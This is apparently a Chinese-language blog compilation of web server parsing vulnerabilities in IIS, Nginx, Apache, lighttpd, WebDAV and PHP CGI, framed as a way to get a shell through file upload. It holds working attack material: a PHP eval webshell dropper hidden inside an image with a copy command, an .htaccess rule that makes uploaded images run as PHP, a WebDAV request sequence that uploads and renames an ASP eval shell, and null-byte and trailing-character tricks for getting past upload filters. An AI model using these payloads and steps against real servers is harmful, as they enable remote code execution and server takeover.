解析漏洞正如其名，一般大家常說的是，檔案在某種格式下，會被執行為該指令碼語言的檔案。

檔案上傳漏洞通常與Web容器的解析漏洞配合利用

常見Web容器有IIS、Nginx、Apache、Tomcat等

好了正文開始彙總了，反正都轉載貼的，我自己也忘了在哪裡看到的了，就不註明轉貼地址了。

IIS 6.0解析漏洞

目錄解析：/xx.asp/xx.jpg xx.jpg可替換為任意文字檔案(e.g. xx.txt)，文字內容為後門程式碼

IIS6.0 會將 xx.jpg 解析為 asp 檔案。

字尾解析：/xx.asp;.jpg /xx.asp:.jpg(此處需抓包修改檔名)

IIS6.0 都會把此類字尾檔案成功解析為 asp 檔案。

（站長評論：IIS6.0解析漏洞的成因，可以查閱羅哥寫的一篇短文：IIS 檔名解析漏洞扼要分析）

{/xx.asp:.jpg 此類檔案在Windows下不允許存在，:.jpg被自動除去，剩下/xx.asp}

（站長評論：發現錯誤，並不是不允許存在，這種路徑叫做“NTFS資料流”，具體見：IIS6使用冒號上傳漏洞，發現IIS6漏洞(上傳利用) 底下的評論）

預設解析：/xx.asa /xx.cer /xx.cdx

IIS6.0 預設的可執行檔案除了 asp 還包含這三種

（站長評論：這種主要是由於在 IIS 預設配置中，這幾個字尾預設由 asp.dll 來解析，所以執行許可權和 .asp 一摸一樣，你可在配置中自行刪除該字尾，以防止安全隱患）

此處可聯絡利用目錄解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

IIS 7.0/IIS 7.5/Nginx <=0.8.37 解析漏洞

IIS 7.0/IIS 7.5/Nginx <=0.8.37

在預設Fast-CGI開啟狀況下,在一個檔案路徑(/xx.jpg)後面加上/xx.PHP會將 /xx.jpg/xx.php 解析為 php 檔案。

常用利用方法： 將一張圖和一個寫入後門程式碼的文字檔案合併 將惡意文字寫入圖片的二進位制程式碼之後，避免破壞圖片檔案頭和尾

e.g. copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二進位制[binary]模式

/a 即ascii模式 xx.jpg正常圖片檔案

yy.txt 內容 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

意思為寫入一個內容為 <?php eval($_POST[cmd])?> 名稱為shell.php的檔案

######################################

找個地方上傳 xy.jpg ,然後找到 xy.jpg 的地址，在地址後加上 /xx.php 即可執行惡意文字。

然後就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd

Nginx <=0.8.37 解析漏洞

在Fast-CGI關閉的情況下，Nginx <=0.8.37 依然存在解析漏洞

在一個檔案路徑(/xx.jpg)後面加上%00.php會將 /xx.jpg%00.php 解析為 php 檔案。

（站長評論：從 /test.jpg/x.php 演變過來的，具體可以參考：Ngnix 空位元組可遠端執行程式碼漏洞）

Apache 解析漏洞

字尾解析：test.php.x1.x2.x3

Apache將從右至左開始判斷後綴，若x3非可識別字尾，再判斷x2，直到找到可識別字尾為止，然後將該可識別字尾進解析

test.php.x1.x2.x3 則會被解析為php

經驗之談：php|php3|phtml 多可被Apache解析

（站長評論：關於 apache 解析漏洞可以查閱“Apache 漏洞之後綴名解析漏洞”）

--------------------------------------------------------------------------------------------------------------

Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷.

比如 cracer.php.owf.rar “.owf”和”.rar” 這兩種字尾是apache不可識別解析,apache就會把cracer.php.owf.rar解析成php.

如何判斷是不是合法的字尾就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個cracer.php.rara.jpg.png…（把你知道的常見字尾都寫上…）去測試是否是合法字尾。

其他一些可利用的 解析漏洞

在windows環境下，xx.jpg[空格] 或xx.jpg. 這兩類檔案都是不允許存在的，若這樣命名，windows會預設除去空格或點，這也是可以被利用的！

在向一臺windows主機上傳資料時，你可以抓包修改檔名，在後面加個空格或點，試圖繞過黑名單，若上傳成功，最後的點或空格都會被消除，這樣就可得到shell。

我記得Fck Php 2.6就存在加空格繞過的漏洞。{Linux主機中不行，Linux允許這類檔案存在}

如果在Apache中.htaccess可被應用（Apache的配置檔案httpd.conf中對目錄的AllowOverride設定為All時，apache會應用目錄下.htaccess中的配置 By sfasfas），

且可以被上傳，那可以嘗試在.htaccess中寫入:

<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>

shell.jpg換成你上傳的檔案，這樣shell.jpg就可解析為php檔案

lighttpd 解析漏洞

xx.jpg/xx.php

WebDav漏洞

WebDav是一種基於HTTP1.1協議的通訊協議，它擴充套件了HTTP協議。在開啟WebDav後若
支援PUT、Move、Copy、Delete等方法，就會存在安全隱患。

測試步驟如下：
1）通過OPTIONS探測伺服器所支援的HTTP方法
請求：
OPTIONS / HTTP/1.1
Host: http://www.xxxx.com
2)通過PUT方法向伺服器上傳shell
請求：
PUT /a.txt HTTP/1.1
Host: http://www.xxxx.com
Content-Length: 30

<%eval request("chopper") %>
3)通過Move或Copy方法改名
請求：
COPY /a.txt HTTP/1.1
Host: http://www.xxxx.com
Destination: http://www.xxxx.com/cmd.asp
4)用DELETE方法刪除檔案
請求：
DELETE /a.txt HTTP/1.1
Host: http://www.xxxx.com

注：可用桂林老兵的IIS Write快速探測伺服器是否存在WebDav漏洞

PHP CGI解析漏洞

當php的配置檔案中的選項cgi.fix_pathinfo = 1開啟時，當訪問http://www.xxx.com/x.txt/x.php
時，若x.php不存在，則PHP會遞歸向前解析，將x.txt當作php指令碼來解析

IIS中：任意檔名/任意檔名.php就會被解析為php
Nginx中：任意檔名/任意檔名.php就會被解析為php

總結：

這個我會持續增加的，等啥時再出來解析漏洞了，我就再新增上。以上都是網上 copy 過來的。。。。